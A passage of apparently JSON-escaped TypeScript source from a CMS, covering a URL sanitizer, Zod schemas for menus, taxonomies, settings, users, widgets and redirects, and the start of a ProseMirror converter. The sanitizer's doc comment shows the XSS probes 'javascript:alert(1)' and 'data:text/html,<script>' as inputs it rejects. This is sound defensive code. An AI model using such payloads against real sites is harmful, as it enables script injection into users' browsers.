`javascript:`, `data:`, or `vbscript:`.\n *\n * @example\n * ```ts\n * sanitizeHref(\"https://example.com\") // \"https://example.com\"\n * sanitizeHref(\"/about\") // \"/about\"\n * sanitizeHref(\"#section\") // \"#section\"\n * sanitizeHref(\"mailto:a@b.com\") // \"mailto:a@b.com\"\n * sanitizeHref(\"javascript:alert(1)\") // \"#\"\n * sanitizeHref(\"data:text/html,<script>\") // \"#\"\n * sanitizeHref(\"\") // \"#\"\n * ```\n */\nexport function sanitizeHref(url: string | undefined | null): string {\n\tif (!url) return \"#\";\n\treturn SAFE_URL_SCHEME_RE.test(url) ? url : \"#\";\n}\n\n/**\n * Returns true if the URL uses a safe scheme for rendering in href attributes.\n */\nexport function isSafeHref(url: string): boolean {\n\treturn SAFE_URL_SCHEME_RE.test(url);\n}\n","import { z } from \"zod\";\n\nimport { isSafeHref } from \"../../utils/url.js\";\n\n// ---------------------------------------------------------------------------\n// Menus: Input schemas\n// ---------------------------------------------------------------------------\n\nconst menuItemType = z.string().min(1);\n\nconst safeHref = z\n\t.string()\n\t.trim()\n\t.refine(\n\t\tisSafeHref,\n\t\t\"URL must use http, https, mailto, tel, a relative path, or a fragment identifier\",\n\t);\n\nexport const createMenuBody = z\n\t.object({\n\t\tname: z.string().min(1),\n\t\tlabel: z.string().min(1),\n\t\tlocale: z.string().min(1).optional(),\n\t\t/** When set, clones the items from the source menu. The new menu joins\n\t\t * the source's translation_group. */\n\t\ttranslationOf: z.string().min(1).optional(),\n\t})\n\t.meta({ id: \"CreateMenuBody\" });\n\nexport const updateMenuBody = z\n\t.object({\n\t\tlabel: z.string().min(1).optional(),\n\t})\n\t.meta({ id: \"UpdateMenuBody\" });\n\nexport const createMenuItemBody = z\n\t.object({\n\t\ttype: menuItemType,\n\t\tlabel: z.string().min(1),\n\t\treferenceCollection: z.string().optional(),\n\t\treferenceId: z.string().optional(),\n\t\tcustomUrl: safeHref.optional(),\n\t\ttarget: z.string().optional(),\n\t\ttitleAttr: z.string().optional(),\n\t\tcssClasses: z.string().optional(),\n\t\tparentId: z.string().optional(),\n\t\tsortOrder: z.number().int().min(0).optional(),\n\t})\n\t.meta({ id: \"CreateMenuItemBody\" });\n\nexport const updateMenuItemBody = z\n\t.object({\n\t\tlabel: z.string().min(1).optional(),\n\t\tcustomUrl: safeHref.optional(),\n\t\ttarget: z.string().optional(),\n\t\ttitleAttr: z.string().optional(),\n\t\tcssClasses: z.string().optional(),\n\t\tparentId: z.string().nullish(),\n\t\tsortOrder: z.number().int().min(0).optional(),\n\t})\n\t.meta({ id: \"UpdateMenuItemBody\" });\n\nexport const menuItemDeleteQuery = z.object({\n\tid: z.string().min(1),\n});\n\nexport const menuItemUpdateQuery = z.object({\n\tid: z.string().min(1),\n});\n\nexport const reorderMenuItemsBody = z\n\t.object({\n\t\titems: z.array(\n\t\t\tz.object({\n\t\t\t\tid: z.string().min(1),\n\t\t\t\tparentId: z.string().nullable(),\n\t\t\t\tsortOrder: z.number().int().min(0),\n\t\t\t}),\n\t\t),\n\t})\n\t.meta({ id: \"ReorderMenuItemsBody\" });\n\n// ---------------------------------------------------------------------------\n// Menus: Response schemas\n// ---------------------------------------------------------------------------\n\nexport const menuSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tname: z.string(),\n\t\tlabel: z.string(),\n\t\tcreated_at: z.string(),\n\t\tupdated_at: z.string(),\n\t\tlocale: z.string(),\n\t\ttranslation_group: z.string().nullable(),\n\t})\n\t.meta({ id: \"Menu\" });\n\nexport const menuItemSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tmenu_id: z.string(),\n\t\tparent_id: z.string().nullable(),\n\t\tsort_order: z.number().int(),\n\t\ttype: z.string(),\n\t\treference_collection: z.string().nullable(),\n\t\treference_id: z.string().nullable(),\n\t\tcustom_url: z.string().nullable(),\n\t\tlabel: z.string(),\n\t\ttitle_attr: z.string().nullable(),\n\t\ttarget: z.string().nullable(),\n\t\tcss_classes: z.string().nullable(),\n\t\tcreated_at: z.string(),\n\t\tlocale: z.string(),\n\t\ttranslation_group: z.string().nullable(),\n\t})\n\t.meta({ id: \"MenuItem\" });\n\nexport const menuTranslationsSchema = z\n\t.object({\n\t\ttranslationGroup: z.string().nullable(),\n\t\ttranslations: z.array(\n\t\t\tz.object({\n\t\t\t\tid: z.string(),\n\t\t\t\tname: z.string(),\n\t\t\t\tlabel: z.string(),\n\t\t\t\tlocale: z.string(),\n\t\t\t\tupdatedAt: z.string(),\n\t\t\t}),\n\t\t),\n\t})\n\t.meta({ id: \"MenuTranslations\" });\n\nexport const menuListItemSchema = menuSchema\n\t.extend({\n\t\titemCount: z.number().int(),\n\t})\n\t.meta({ id: \"MenuListItem\" });\n\nexport const menuWithItemsSchema = menuSchema\n\t.extend({\n\t\titems: z.array(menuItemSchema),\n\t})\n\t.meta({ id: \"MenuWithItems\" });\n","import { z } from \"zod\";\n\n// ---------------------------------------------------------------------------\n// Taxonomy definitions: Input schemas\n// ---------------------------------------------------------------------------\n\n/** Collection slug format: lowercase alphanumeric + underscores, starts with letter */\nconst collectionSlugPattern = /^[a-z][a-z0-9_]*$/;\n\nexport const createTaxonomyDefBody = z\n\t.object({\n\t\tname: z\n\t\t\t.string()\n\t\t\t.min(1)\n\t\t\t.max(63)\n\t\t\t.regex(/^[a-z][a-z0-9_]*$/, \"Name must be lowercase alphanumeric with underscores\"),\n\t\tlabel: z.string().min(1).max(200),\n\t\tlabelSingular: z.string().min(1).max(200).optional(),\n\t\thierarchical: z.boolean().optional().default(false),\n\t\tcollections: z\n\t\t\t.array(\n\t\t\t\tz.string().min(1).max(63).regex(collectionSlugPattern, \"Invalid collection slug format\"),\n\t\t\t)\n\t\t\t.max(100)\n\t\t\t.optional()\n\t\t\t.default([]),\n\t\tlocale: z.string().min(1).optional(),\n\t\ttranslationOf: z.string().min(1).optional(),\n\t})\n\t.meta({ id: \"CreateTaxonomyDefBody\" });\n\n// ---------------------------------------------------------------------------\n// Taxonomy terms: Input schemas\n// ---------------------------------------------------------------------------\n\nexport const createTermBody = z\n\t.object({\n\t\tslug: z.string().min(1),\n\t\tlabel: z.string().min(1),\n\t\tparentId: z.string().nullish(),\n\t\tdescription: z.string().optional(),\n\t\tlocale: z.string().min(1).optional(),\n\t\ttranslationOf: z.string().min(1).optional(),\n\t})\n\t.meta({ id: \"CreateTermBody\" });\n\nexport const updateTermBody = z\n\t.object({\n\t\tslug: z.string().min(1).optional(),\n\t\tlabel: z.string().min(1).optional(),\n\t\tparentId: z.string().nullish(),\n\t\tdescription: z.string().optional(),\n\t})\n\t.meta({ id: \"UpdateTermBody\" });\n\n// ---------------------------------------------------------------------------\n// Taxonomies: Response schemas\n// ---------------------------------------------------------------------------\n\nexport const taxonomyDefSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tname: z.string(),\n\t\tlabel: z.string(),\n\t\tlabelSingular: z.string().optional(),\n\t\thierarchical: z.boolean(),\n\t\tcollections: z.array(z.string()),\n\t\tlocale: z.string(),\n\t\ttranslationGroup: z.string().nullable(),\n\t})\n\t.meta({ id: \"TaxonomyDef\" });\n\nexport const taxonomyDefTranslationsSchema = z\n\t.object({\n\t\ttranslationGroup: z.string().nullable(),\n\t\ttranslations: z.array(\n\t\t\tz.object({\n\t\t\t\tid: z.string(),\n\t\t\t\tname: z.string(),\n\t\t\t\tlabel: z.string(),\n\t\t\t\tlocale: z.string(),\n\t\t\t}),\n\t\t),\n\t})\n\t.meta({ id: \"TaxonomyDefTranslations\" });\n\nexport const taxonomyListResponseSchema = z\n\t.object({ taxonomies: z.array(taxonomyDefSchema) })\n\t.meta({ id: \"TaxonomyListResponse\" });\n\nexport const termSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tname: z.string(),\n\t\tslug: z.string(),\n\t\tlabel: z.string(),\n\t\tparentId: z.string().nullable(),\n\t\tdescription: z.string().optional(),\n\t\tlocale: z.string(),\n\t\ttranslationGroup: z.string().nullable(),\n\t})\n\t.meta({ id: \"Term\" });\n\nexport const termTranslationsSchema = z\n\t.object({\n\t\ttranslationGroup: z.string().nullable(),\n\t\ttranslations: z.array(\n\t\t\tz.object({\n\t\t\t\tid: z.string(),\n\t\t\t\tslug: z.string(),\n\t\t\t\tlabel: z.string(),\n\t\t\t\tlocale: z.string(),\n\t\t\t}),\n\t\t),\n\t})\n\t.meta({ id: \"TermTranslations\" });\n\nexport const termWithCountSchema: z.ZodType = z\n\t.object({\n\t\tid: z.string(),\n\t\tname: z.string(),\n\t\tslug: z.string(),\n\t\tlabel: z.string(),\n\t\tparentId: z.string().nullable(),\n\t\tdescription: z.string().optional(),\n\t\tcount: z.number().int(),\n\t\tchildren: z.array(z.lazy(() => termWithCountSchema)),\n\t\tlocale: z.string(),\n\t\ttranslationGroup: z.string().nullable(),\n\t})\n\t.meta({ id: \"TermWithCount\" });\n\nexport const termListResponseSchema = z\n\t.object({ terms: z.array(termWithCountSchema) })\n\t.meta({ id: \"TermListResponse\" });\n\nexport const termResponseSchema = z.object({ term: termSchema }).meta({ id: \"TermResponse\" });\n\nexport const termGetResponseSchema = z\n\t.object({\n\t\tterm: termSchema.extend({\n\t\t\tcount: z.number().int(),\n\t\t\tchildren: z.array(\n\t\t\t\tz.object({\n\t\t\t\t\tid: z.string(),\n\t\t\t\t\tslug: z.string(),\n\t\t\t\t\tlabel: z.string(),\n\t\t\t\t}),\n\t\t\t),\n\t\t}),\n\t})\n\t.meta({ id: \"TermGetResponse\" });\n","import { z } from \"zod\";\n\n// ---------------------------------------------------------------------------\n// Sections: Input schemas\n// ---------------------------------------------------------------------------\n\nconst sectionSource = z.enum([\"theme\", \"user\", \"import\"]);\n\nexport const sectionsListQuery = z\n\t.object({\n\t\tsource: sectionSource.optional(),\n\t\tsearch: z.string().optional(),\n\t\tlimit: z.coerce.number().int().min(1).max(100).optional().default(50),\n\t\tcursor: z.string().max(2048).optional(),\n\t})\n\t.meta({ id: \"SectionsListQuery\" });\n\nexport const createSectionBody = z\n\t.object({\n\t\tslug: z.string().min(1),\n\t\ttitle: z.string().min(1),\n\t\tdescription: z.string().optional(),\n\t\tkeywords: z.array(z.string()).optional(),\n\t\tcontent: z.array(z.record(z.string(), z.unknown())),\n\t\tpreviewMediaId: z.string().optional(),\n\t\tsource: z.enum([\"user\", \"import\"]).optional(),\n\t\tthemeId: z.string().optional(),\n\t})\n\t.meta({ id: \"CreateSectionBody\" });\n\nexport const updateSectionBody = z\n\t.object({\n\t\tslug: z.string().min(1).optional(),\n\t\ttitle: z.string().min(1).optional(),\n\t\tdescription: z.string().optional(),\n\t\tkeywords: z.array(z.string()).optional(),\n\t\tcontent: z.array(z.record(z.string(), z.unknown())).optional(),\n\t\tpreviewMediaId: z.string().nullish(),\n\t})\n\t.meta({ id: \"UpdateSectionBody\" });\n\n// ---------------------------------------------------------------------------\n// Sections: Response schemas\n// ---------------------------------------------------------------------------\n\nexport const sectionSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tslug: z.string(),\n\t\ttitle: z.string(),\n\t\tdescription: z.string().nullable(),\n\t\tkeywords: z.array(z.string()).nullable(),\n\t\tcontent: z.array(z.record(z.string(), z.unknown())),\n\t\tpreviewMediaId: z.string().nullable(),\n\t\tsource: z.string(),\n\t\tthemeId: z.string().nullable(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t})\n\t.meta({ id: \"Section\" });\n\nexport const sectionListResponseSchema = z\n\t.object({\n\t\titems: z.array(sectionSchema),\n\t\tnextCursor: z.string().optional(),\n\t})\n\t.meta({ id: \"SectionListResponse\" });\n","import { z } from \"zod\";\n\nimport { httpUrl } from \"./common.js\";\n\n// ---------------------------------------------------------------------------\n// Settings: Input schemas\n//\n// Media references on write are just `{ mediaId, alt? }` -- the resolved\n// fields (`url`, `contentType`, `width`, `height`) are server-computed and\n// stripped from any submitted body via Zod's default strip mode. See\n// `packages/core/src/settings/types.ts` for the in-memory shape.\n// ---------------------------------------------------------------------------\n\nconst mediaReferenceInput = z.object({\n\tmediaId: z.string(),\n\talt: z.string().optional(),\n});\n\nconst socialSettings = z.object({\n\ttwitter: z.string().optional(),\n\tgithub: z.string().optional(),\n\tfacebook: z.string().optional(),\n\tinstagram: z.string().optional(),\n\tlinkedin: z.string().optional(),\n\tyoutube: z.string().optional(),\n});\n\nconst seoSettingsInput = z.object({\n\ttitleSeparator: z.string().max(10).optional(),\n\tdefaultOgImage: mediaReferenceInput.optional(),\n\trobotsTxt: z.string().max(5000).optional(),\n\tgoogleVerification: z.string().max(100).optional(),\n\tbingVerification: z.string().max(100).optional(),\n});\n\nexport const settingsUpdateBody = z\n\t.object({\n\t\ttitle: z.string().optional(),\n\t\ttagline: z.string().optional(),\n\t\tlogo: mediaReferenceInput.optional(),\n\t\tfavicon: mediaReferenceInput.optional(),\n\t\turl: z.union([httpUrl, z.literal(\"\")]).optional(),\n\t\tpostsPerPage: z.number().int().min(1).max(100).optional(),\n\t\tdateFormat: z.string().optional(),\n\t\ttimezone: z.string().optional(),\n\t\tsocial: socialSettings.optional(),\n\t\tseo: seoSettingsInput.optional(),\n\t})\n\t.meta({ id: \"SettingsUpdateBody\" });\n\n// ---------------------------------------------------------------------------\n// Settings: Response schemas\n//\n// Responses carry the resolved fields populated by `resolveMediaReference`\n// in `settings/index.ts`. Generated OpenAPI clients need to see them so\n// they don't have to re-resolve the URL on the client. Fields stay\n// optional because the resolver returns the bare ref if the underlying\n// media row was deleted (orphaned reference).\n// ---------------------------------------------------------------------------\n\nconst mediaReferenceResponse = z.object({\n\tmediaId: z.string(),\n\talt: z.string().optional(),\n\t/** Resolved media file URL; absent if the underlying row is missing. */\n\turl: z.string().optional(),\n\t/** Stored MIME type (e.g. `image/svg+xml`). Populated alongside `url`. */\n\tcontentType: z.string().optional(),\n\t/** Pixel width if known. Populated alongside `url`. */\n\twidth: z.number().int().optional(),\n\t/** Pixel height if known. Populated alongside `url`. */\n\theight: z.number().int().optional(),\n});\n\nconst seoSettingsResponse = z.object({\n\ttitleSeparator: z.string().max(10).optional(),\n\tdefaultOgImage: mediaReferenceResponse.optional(),\n\trobotsTxt: z.string().max(5000).optional(),\n\tgoogleVerification: z.string().max(100).optional(),\n\tbingVerification: z.string().max(100).optional(),\n});\n\nexport const siteSettingsSchema = z\n\t.object({\n\t\ttitle: z.string().optional(),\n\t\ttagline: z.string().optional(),\n\t\tlogo: mediaReferenceResponse.optional(),\n\t\tfavicon: mediaReferenceResponse.optional(),\n\t\turl: z.string().optional(),\n\t\tpostsPerPage: z.number().int().optional(),\n\t\tdateFormat: z.string().optional(),\n\t\ttimezone: z.string().optional(),\n\t\tsocial: socialSettings.optional(),\n\t\tseo: seoSettingsResponse.optional(),\n\t})\n\t.meta({ id: \"SiteSettings\" });\n","import { z } from \"zod\";\n\nimport { localeCode } from \"./common.js\";\n\n// ---------------------------------------------------------------------------\n// Search: Input schemas\n// ---------------------------------------------------------------------------\n\nexport const searchQuery = z\n\t.object({\n\t\tq: z.string().min(1),\n\t\tcollections: z.string().optional(),\n\t\tstatus: z.string().optional(),\n\t\tlocale: localeCode.optional(),\n\t\tlimit: z.coerce.number().int().min(1).max(100).optional(),\n\t})\n\t.meta({ id: \"SearchQuery\" });\n\nexport const searchSuggestQuery = z\n\t.object({\n\t\tq: z.string().min(1),\n\t\tcollections: z.string().optional(),\n\t\tlocale: localeCode.optional(),\n\t\tlimit: z.coerce.number().int().min(1).max(20).optional(),\n\t})\n\t.meta({ id: \"SearchSuggestQuery\" });\n\nexport const searchRebuildBody = z\n\t.object({\n\t\tcollection: z.string().min(1),\n\t})\n\t.meta({ id: \"SearchRebuildBody\" });\n\nexport const searchEnableBody = z\n\t.object({\n\t\tcollection: z.string().min(1),\n\t\tenabled: z.boolean(),\n\t\tweights: z.record(z.string(), z.number()).optional(),\n\t})\n\t.meta({ id: \"SearchEnableBody\" });\n\n// ---------------------------------------------------------------------------\n// Search: Response schemas\n// ---------------------------------------------------------------------------\n\nexport const searchResultSchema = z\n\t.object({\n\t\tcollection: z.string(),\n\t\tid: z.string(),\n\t\tslug: z.string().nullable(),\n\t\tlocale: z.string(),\n\t\ttitle: z.string().optional(),\n\t\tsnippet: z.string().optional(),\n\t\tscore: z.number(),\n\t})\n\t.meta({ id: \"SearchResult\" });\n\nexport const searchResponseSchema = z\n\t.object({\n\t\titems: z.array(searchResultSchema),\n\t\tnextCursor: z.string().optional(),\n\t})\n\t.meta({ id: \"SearchResponse\" });\n","import { z } from \"zod\";\n\nimport { httpUrl } from \"./common.js\";\n\n// ---------------------------------------------------------------------------\n// Import\n// ---------------------------------------------------------------------------\n\nexport const importProbeBody = z.object({\n\turl: httpUrl,\n});\n\nexport const wpPluginAnalyzeBody = z.object({\n\turl: httpUrl,\n\ttoken: z.string().min(1),\n});\n\nexport const wpPluginExecuteBody = z.object({\n\turl: httpUrl,\n\ttoken: z.string().min(1),\n\tconfig: z.record(z.string(), z.unknown()),\n});\n\nexport const wpPrepareBody = z.object({\n\tpostTypes: z.array(\n\t\tz.object({\n\t\t\tname: z.string().min(1),\n\t\t\tcollection: z.string().min(1),\n\t\t\tfields: z\n\t\t\t\t.array(\n\t\t\t\t\tz.object({\n\t\t\t\t\t\tslug: z.string().min(1),\n\t\t\t\t\t\tlabel: z.string().min(1),\n\t\t\t\t\t\ttype: z.string().min(1),\n\t\t\t\t\t\trequired: z.boolean(),\n\t\t\t\t\t\tsearchable: z.boolean().optional(),\n\t\t\t\t\t}),\n\t\t\t\t)\n\t\t\t\t.optional(),\n\t\t}),\n\t),\n});\n\nexport const wpMediaImportBody = z.object({\n\tattachments: z.array(z.record(z.string(), z.unknown())),\n\tstream: z.boolean().optional(),\n});\n\nexport const wpRewriteUrlsBody = z.object({\n\turlMap: z.record(z.string(), z.string()),\n\tcollections: z.array(z.string()).optional(),\n});\n","import { z } from \"zod\";\n\n// ---------------------------------------------------------------------------\n// Setup\n// ---------------------------------------------------------------------------\n\n/** Registration credential — duplicated reference for setup flow.\n * The canonical definition lives in auth.ts but setup needs it independently\n * because setup runs before auth is configured. */\nconst authenticatorTransport = z.enum([\"usb\", \"nfc\", \"ble\", \"internal\", \"hybrid\"]);\n\nconst registrationCredential = z.object({\n\tid: z.string(),\n\trawId: z.string(),\n\ttype: z.literal(\"public-key\"),\n\tresponse: z.object({\n\t\tclientDataJSON: z.string(),\n\t\tattestationObject: z.string(),\n\t\ttransports: z.array(authenticatorTransport).optional(),\n\t}),\n\tauthenticatorAttachment: z.enum([\"platform\", \"cross-platform\"]).optional(),\n});\n\nexport const setupBody = z.object({\n\ttitle: z.string().min(1),\n\ttagline: z.string().optional(),\n\tincludeContent: z.boolean(),\n});\n\nexport const setupAdminBody = z.object({\n\temail: z.string().email(),\n\tname: z.string().optional(),\n});\n\nexport const setupAdminVerifyBody = z.object({\n\tcredential: registrationCredential,\n});\n\nexport const atprotoLoginBody = z.object({\n\thandle: z.string().trim().min(1),\n});\n\nexport const setupAtprotoAdminBody = z.object({\n\thandle: z.string().trim().min(1),\n});\n","import { z } from \"zod\";\n\nimport { roleLevel } from \"./common.js\";\n\n// ---------------------------------------------------------------------------\n// Admin / Users: Input schemas\n// ---------------------------------------------------------------------------\n\nexport const usersListQuery = z\n\t.object({\n\t\tsearch: z.string().optional(),\n\t\trole: z.string().optional(),\n\t\tcursor: z.string().max(2048).optional(),\n\t\tlimit: z.coerce.number().int().min(1).max(100).optional().default(50),\n\t})\n\t.meta({ id: \"UsersListQuery\" });\n\nexport const userUpdateBody = z\n\t.object({\n\t\tname: z.string().optional(),\n\t\temail: z.string().email().optional(),\n\t\trole: roleLevel.optional(),\n\t})\n\t.meta({ id: \"UserUpdateBody\" });\n\nexport const allowedDomainCreateBody = z\n\t.object({\n\t\tdomain: z.string().min(1),\n\t\tdefaultRole: roleLevel,\n\t})\n\t.meta({ id: \"AllowedDomainCreateBody\" });\n\nexport const allowedDomainUpdateBody = z\n\t.object({\n\t\tenabled: z.boolean().optional(),\n\t\tdefaultRole: roleLevel.optional(),\n\t})\n\t.meta({ id: \"AllowedDomainUpdateBody\" });\n\n// ---------------------------------------------------------------------------\n// Admin / Users: Response schemas\n// ---------------------------------------------------------------------------\n\nexport const userSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\temail: z.string(),\n\t\tname: z.string().nullable(),\n\t\tavatarUrl: z.string().nullable(),\n\t\trole: z.number().int(),\n\t\temailVerified: z.boolean(),\n\t\tdisabled: z.boolean(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t\tlastLogin: z.string().nullable(),\n\t\tcredentialCount: z.number().int().optional(),\n\t\toauthProviders: z.array(z.string()).optional(),\n\t})\n\t.meta({ id: \"User\" });\n\nexport const userListResponseSchema = z\n\t.object({\n\t\titems: z.array(userSchema),\n\t\tnextCursor: z.string().optional(),\n\t})\n\t.meta({ id: \"UserListResponse\" });\n\nexport const userDetailSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\temail: z.string(),\n\t\tname: z.string().nullable(),\n\t\tavatarUrl: z.string().nullable(),\n\t\trole: z.number().int(),\n\t\temailVerified: z.boolean(),\n\t\tdisabled: z.boolean(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t\tlastLogin: z.string().nullable(),\n\t\tcredentials: z.array(\n\t\t\tz.object({\n\t\t\t\tid: z.string(),\n\t\t\t\tname: z.string().nullable(),\n\t\t\t\tdeviceType: z.string().nullable(),\n\t\t\t\tcreatedAt: z.string(),\n\t\t\t\tlastUsedAt: z.string(),\n\t\t\t}),\n\t\t),\n\t\toauthAccounts: z.array(\n\t\t\tz.object({\n\t\t\t\tprovider: z.string(),\n\t\t\t\tcreatedAt: z.string(),\n\t\t\t}),\n\t\t),\n\t})\n\t.meta({ id: \"UserDetail\" });\n","import { z } from \"zod\";\n\n// ---------------------------------------------------------------------------\n// Widgets: Input schemas\n// ---------------------------------------------------------------------------\n\nconst widgetType = z.enum([\"content\", \"menu\", \"component\"]);\n\nexport const createWidgetAreaBody = z\n\t.object({\n\t\tname: z.string().min(1),\n\t\tlabel: z.string().min(1),\n\t\tdescription: z.string().optional(),\n\t})\n\t.meta({ id: \"CreateWidgetAreaBody\" });\n\nexport const createWidgetBody = z\n\t.object({\n\t\ttype: widgetType,\n\t\ttitle: z.string().optional(),\n\t\tcontent: z.array(z.record(z.string(), z.unknown())).optional(),\n\t\tmenuName: z.string().optional(),\n\t\tcomponentId: z.string().optional(),\n\t\tcomponentProps: z.record(z.string(), z.unknown()).optional(),\n\t})\n\t.meta({ id: \"CreateWidgetBody\" });\n\nexport const updateWidgetBody = z\n\t.object({\n\t\ttype: widgetType.optional(),\n\t\ttitle: z.string().optional(),\n\t\tcontent: z.array(z.record(z.string(), z.unknown())).optional(),\n\t\tmenuName: z.string().optional(),\n\t\tcomponentId: z.string().optional(),\n\t\tcomponentProps: z.record(z.string(), z.unknown()).optional(),\n\t})\n\t.meta({ id: \"UpdateWidgetBody\" });\n\nexport const reorderWidgetsBody = z\n\t.object({\n\t\twidgetIds: z.array(z.string().min(1)),\n\t})\n\t.meta({ id: \"ReorderWidgetsBody\" });\n\n// ---------------------------------------------------------------------------\n// Widgets: Response schemas\n// ---------------------------------------------------------------------------\n\nexport const widgetAreaSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tname: z.string(),\n\t\tlabel: z.string(),\n\t\tdescription: z.string().nullable(),\n\t\tcreated_at: z.string(),\n\t\tupdated_at: z.string(),\n\t})\n\t.meta({ id: \"WidgetArea\" });\n\nexport const widgetSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\ttype: widgetType,\n\t\ttitle: z.string().optional(),\n\t\tcontent: z.array(z.record(z.string(), z.unknown())).optional(),\n\t\tmenuName: z.string().optional(),\n\t\tcomponentId: z.string().optional(),\n\t\tcomponentProps: z.record(z.string(), z.unknown()).optional(),\n\t})\n\t.meta({ id: \"Widget\" });\n\nexport const widgetAreaWithWidgetsSchema = widgetAreaSchema\n\t.extend({\n\t\twidgets: z.array(widgetSchema),\n\t})\n\t.meta({ id: \"WidgetAreaWithWidgets\" });\n\nexport const widgetAreaWithWidgetsAndCountSchema = widgetAreaWithWidgetsSchema\n\t.extend({\n\t\twidgetCount: z.number().int(),\n\t})\n\t.meta({ id: \"WidgetAreaWithWidgetsAndCount\" });\n","import { z } from \"zod\";\n\nimport { cursorPaginationQuery } from \"./common.js\";\n\n// ---------------------------------------------------------------------------\n// Redirects: Input schemas\n// ---------------------------------------------------------------------------\n\nconst redirectType = z.coerce\n\t.number()\n\t.int()\n\t.refine((n) => [301, 302, 307, 308].includes(n), {\n\t\tmessage: \"Redirect type must be 301, 302, 307, or 308\",\n\t});\n\n/** Matches CR or LF characters */\nconst CRLF = /[\\r\\n]/;\n\n/** Path must start with / and not be protocol-relative, contain no CRLF, and no path traversal */\nconst urlPath = z\n\t.string()\n\t.min(1)\n\t.refine((s) => s.startsWith(\"/\") && !s.startsWith(\"//\"), {\n\t\tmessage: \"Must be a path starting with / (no protocol-relative URLs)\",\n\t})\n\t.refine((s) => !CRLF.test(s), {\n\t\tmessage: \"URL must not contain newline characters\",\n\t})\n\t.refine(\n\t\t(s) => {\n\t\t\ttry {\n\t\t\t\treturn !decodeURIComponent(s).split(\"/\").includes(\"..\");\n\t\t\t} catch {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t},\n\t\t{ message: \"URL must not contain path traversal segments\" },\n\t);\n\nexport const createRedirectBody = z\n\t.object({\n\t\tsource: urlPath,\n\t\tdestination: urlPath,\n\t\ttype: redirectType.optional().default(301),\n\t\tenabled: z.boolean().optional().default(true),\n\t\tgroupName: z.string().nullish(),\n\t})\n\t.meta({ id: \"CreateRedirectBody\" });\n\nexport const updateRedirectBody = z\n\t.object({\n\t\tsource: urlPath.optional(),\n\t\tdestination: urlPath.optional(),\n\t\ttype: redirectType.optional(),\n\t\tenabled: z.boolean().optional(),\n\t\tgroupName: z.string().nullish(),\n\t})\n\t.refine((o) => Object.values(o).some((v) => v !== undefined), {\n\t\tmessage: \"At least one field must be provided\",\n\t})\n\t.meta({ id: \"UpdateRedirectBody\" });\n\nexport const redirectsListQuery = cursorPaginationQuery\n\t.extend({\n\t\tsearch: z.string().optional(),\n\t\tgroup: z.string().optional(),\n\t\tenabled: z\n\t\t\t.enum([\"true\", \"false\"])\n\t\t\t.transform((v) => v === \"true\")\n\t\t\t.optional(),\n\t\tauto: z\n\t\t\t.enum([\"true\", \"false\"])\n\t\t\t.transform((v) => v === \"true\")\n\t\t\t.optional(),\n\t})\n\t.meta({ id: \"RedirectsListQuery\" });\n\n// ---------------------------------------------------------------------------\n// 404 Log: Input schemas\n// ---------------------------------------------------------------------------\n\nexport const notFoundListQuery = cursorPaginationQuery\n\t.extend({\n\t\tsearch: z.string().optional(),\n\t})\n\t.meta({ id: \"NotFoundListQuery\" });\n\nexport const notFoundSummaryQuery = z.object({\n\tlimit: z.coerce.number().int().min(1).max(100).optional().default(50),\n});\n\nexport const notFoundPruneBody = z\n\t.object({\n\t\tolderThan: z.string().datetime({ message: \"olderThan must be an ISO 8601 datetime\" }),\n\t})\n\t.meta({ id: \"NotFoundPruneBody\" });\n\n// ---------------------------------------------------------------------------\n// Redirects: Response schemas\n// ---------------------------------------------------------------------------\n\nexport const redirectSchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tsource: z.string(),\n\t\tdestination: z.string(),\n\t\ttype: z.number().int(),\n\t\tisPattern: z.boolean(),\n\t\tenabled: z.boolean(),\n\t\thits: z.number().int(),\n\t\tlastHitAt: z.string().nullable(),\n\t\tgroupName: z.string().nullable(),\n\t\tauto: z.boolean(),\n\t\tcreatedAt: z.string(),\n\t\tupdatedAt: z.string(),\n\t})\n\t.meta({ id: \"Redirect\" });\n\nexport const redirectListResponseSchema = z\n\t.object({\n\t\titems: z.array(redirectSchema),\n\t\tnextCursor: z.string().optional(),\n\t\tloopRedirectIds: z.array(z.string()).optional(),\n\t})\n\t.meta({ id: \"RedirectListResponse\" });\n\nexport const notFoundEntrySchema = z\n\t.object({\n\t\tid: z.string(),\n\t\tpath: z.string(),\n\t\treferrer: z.string().nullable(),\n\t\tuserAgent: z.string().nullable(),\n\t\tip: z.string().nullable(),\n\t\tcreatedAt: z.string(),\n\t})\n\t.meta({ id: \"NotFoundEntry\" });\n\nexport const notFoundListResponseSchema = z\n\t.object({\n\t\titems: z.array(notFoundEntrySchema),\n\t\tnextCursor: z.string().optional(),\n\t})\n\t.meta({ id: \"NotFoundListResponse\" });\n\nexport const notFoundSummarySchema = z\n\t.object({\n\t\tpath: z.string(),\n\t\tcount: z.number().int(),\n\t\tlastSeen: z.string(),\n\t\ttopReferrer: z.string().nullable(),\n\t})\n\t.meta({ id: \"NotFoundSummary\" });\n\nexport const notFoundSummaryResponseSchema = z\n\t.object({ items: z.array(notFoundSummarySchema) })\n\t.meta({ id: \"NotFoundSummaryResponse\" });\n","/**\n * ProseMirror to Portable Text Converter\n *\n * Converts TipTap's ProseMirror JSON format to Portable Text for storage.\n */\n\nimport type {\n\tProseMirrorDocument,\n\tProseMirrorNode,\n\tProseMirrorMark,\n\tPortableTextBlock,\n\tPortableTextTextBlock,\n\tPortableTextSpan,\n\tPortableTextMarkDef,\n\tPortableTextImageBlock,\n\tPortableTextCodeBlock,\n} from \"./types.js\";\n\n/**\n * Generate a unique key for Portable Text blocks\n */\nfunction generateKey(): string {\n\treturn Math.random().toString(36).substring(2, 11);\n}\n\n/**\n * Convert ProseMirror document to Portable Text\n */\nexport function prosemirrorToPortableText(doc: ProseMirrorDocument): PortableTextBlock[] {\n\tif (!doc || doc.type !== \"doc\" || !doc.content) {\n\t\treturn 